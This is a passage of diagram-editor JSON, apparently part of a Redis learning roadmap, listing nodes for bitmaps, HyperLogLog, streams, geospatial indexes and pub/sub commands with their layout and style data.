\"textAlign\": \"center\"\n        },\n        \"oldId\": \"jrgaoDnt_RxTu79hk4hCD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.870749690558,\n        \"y\": 1488.001634732462\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7JzeyTrkZ_1_yxMVrqvZU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 45.870749690558,\n        \"y\": 1571.9885116331939\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Batch Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LHlwjN3WHYUBUafzzwsWQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.870749690558,\n        \"y\": 1571.9885116331939\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"osbKjF7VIAxtWokGjuYXq\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 83.76039918125758,\n        \"y\": 1629.099028442399\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MSET / MGET\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 83.76039918125758,\n        \"y\": 1629.099028442399\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"45ihdIfRW-jI38h-s4Vdc\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -305.3221766893338,\n        \"y\": 1567.9885116331939\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Data Structures\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"8gyVwKg3Ctt2w15X7xZgC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 57,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 57\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -305.3221766893338,\n        \"y\": 1567.9885116331939\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 57\n      }\n    },\n    {\n      \"id\": \"0Q3AkE8leWAyYsww3-BHX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -523.1381872719934,\n        \"y\": 1571.9885116331939\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bitmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cszjT3YK8oyhGpqLTQzwX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -523.1381872719934,\n        \"y\": 1571.9885116331939\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B-YUFhPQNdr1KZNupmR5N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.6346077601577,\n        \"y\": 1474.3345088216322\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SETBIT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.6346077601577,\n        \"y\": 1474.3345088216322\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0HFLJfcrcSnAVTecG3P8W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -687.5669217281857,\n        \"y\": 1475.3024555615639\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GETBIT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -687.5669217281857,\n        \"y\": 1475.3024555615639\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jpcyXSSib7q4WBPmpgnXA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -787.24296378698,\n        \"y\": 1580.9782502455694\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BITCOUNT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -787.24296378698,\n        \"y\": 1580.9782502455694\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tkrxArg_oYH0aQfM8NkD2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -786.6346077601577,\n        \"y\": 1526.9782502455694\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BITOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -786.6346077601577,\n        \"y\": 1526.9782502455694\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Df1Eu7CuA-ARYii9JVvnm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -687.5669217281857,\n        \"y\": 1527.946196985501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BITPOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -687.5669217281857,\n        \"y\": 1527.946196985501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i2qZKBU9LJ8c6z8wKt_Eb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -777.24296378698,\n        \"y\": 1635.8291147642672\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Iour_R6xJ5PieRjX9t993\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -777.24296378698,\n        \"y\": 1635.8291147642672\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"s7PEr-5TAm5EGJm0RSjPJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -785.24296378698,\n        \"y\": 1671.8291147642672\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XTwNCCtzXvZMdaex4gZEh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -785.24296378698,\n        \"y\": 1671.8291147642672\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cszjT3YK8oyhGpqLTQzwX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -523.1381872719934,\n        \"y\": 1867.6382433656738\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HyperLogLog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -523.1381872719934,\n        \"y\": 1867.6382433656738\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8a4DmPZrX2xGZ7zdWxS63\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1822.4395748673794\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PFADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1822.4395748673794\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JWT30KIJQHVw0MXI5sGR6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1875.4395748673794\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PFCOUNT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1875.4395748673794\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s50jr_XOUcxh65-tGCKf5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1769.4395748673794\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PFMERGE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1769.4395748673794\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EiVMoU64Omo8DOV7h6nBr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -779.1336432750411,\n        \"y\": 1927.5036813875156\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"i2qZKBU9LJ8c6z8wKt_Eb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -779.1336432750411,\n        \"y\": 1927.5036813875156\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"XPeCvikPuu6EJ8UcOLGPh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1963.5036813875156\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s7PEr-5TAm5EGJm0RSjPJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -787.1336432750411,\n        \"y\": 1963.5036813875156\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zXs_9n2yEb_eVi0WuOQKH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -242.30753316308028,\n        \"y\": 1998.5036813875156\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cszjT3YK8oyhGpqLTQzwX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -242.30753316308028,\n        \"y\": 1998.5036813875156\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7isWhgrUA6M5IGM2U2tm4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.08695195283053,\n        \"y\": 1695.0200165881924\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.08695195283053,\n        \"y\": 1695.0200165881924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4sKiAtX5aIL4NDsQkilNC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -161.52821095958973,\n        \"y\": 1694.0520698482605\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XREAD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -161.52821095958973,\n        \"y\": 1694.0520698482605\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CiYFuYE8XudZkR6AW2NQ7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.08695195283053,\n        \"y\": 1747.5200165881924\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XRANGE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.08695195283053,\n        \"y\": 1747.5200165881924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DQJCMEw13lELcw_AwLfrT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -161.52821095958973,\n        \"y\": 1746.5520698482605\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XLEN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -161.52821095958973,\n        \"y\": 1746.5520698482605\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1eNIiXzA2XjiIDS_df1YR\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -260.35633423807275,\n        \"y\": 1855.4492672979154\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"WMDsN_k9KKTMJoVxvqRe_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -260.35633423807275,\n        \"y\": 1855.4492672979154\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"zXlSBfa-Gi9_GhSYEzre3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.85633423807275,\n        \"y\": 1895.4492672979154\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3hayYoSZepw7pppBubotg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -263.85633423807275,\n        \"y\": 1895.4492672979154\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4-z4hDKm86qQatYnmE21R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -264.9240202700449,\n        \"y\": 1800.7982003024445\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"b48EUyFGUeSjtT5fOa_m6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -264.9240202700449,\n        \"y\": 1800.7982003024445\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_NiUdVQ85qnvryI38k_vQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 34.784146851171954,\n        \"y\": 1998.5036813875156\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Geospatial Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9W_jaK1DSEZHRKdPcUM7h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 34.784146851171954,\n        \"y\": 1998.5036813875156\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U3N1EgHFs1-YUaB_VrJfw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 43.68805808540674,\n        \"y\": 1693.57444541618\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GEOADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 51\n      },\n      \"positionAbsolute\": {\n        \"x\": 43.68805808540674,\n        \"y\": 1693.57444541618\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"OWWDLuGTbdNwME7v2jxVP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 43.68805808540674,\n        \"y\": 1748.57444541618\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GEOSEARCH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 43.68805808540674,\n        \"y\": 1748.57444541618\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n7tMR48rdamdpGuCKKiJh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 49.70715514077847,\n        \"y\": 1856.5838292760734\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"1eNIiXzA2XjiIDS_df1YR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 49.70715514077847,\n        \"y\": 1856.5838292760734\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"GNMjrLPkpTphneoQ0GoZF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 46.20715514077847,\n        \"y\": 1896.5838292760734\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zXlSBfa-Gi9_GhSYEzre3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.20715514077847,\n        \"y\": 1896.5838292760734\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FCbdKnkI1ZHGekT6yiGua\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 45.13946910880634,\n        \"y\": 1801.9327622806024\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4-z4hDKm86qQatYnmE21R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.13946910880634,\n        \"y\": 1801.9327622806024\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9W_jaK1DSEZHRKdPcUM7h\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 33.284146851171954,\n        \"y\": 2094.1338220801877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pub/Sub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zXs_9n2yEb_eVi0WuOQKH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 33.284146851171954,\n        \"y\": 2094.1338220801877\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"55BCntuWlaQiLPqNtb-2i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2193.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SUBSCRIBE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2193.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5gkZzm2F4vu6IxUoJLYbK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2246.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UNSUBSCRIBE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2246.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gIPo-2CNqE1BsOaDzmkCU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2299.028423683739\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PUBLISH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.284146851171954,\n        \"y\": 2299.028423683739\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fu9hfU-5qxDc2psK6-AEm\",\n      \"type\": \"label\",\n      \"position\": {\n        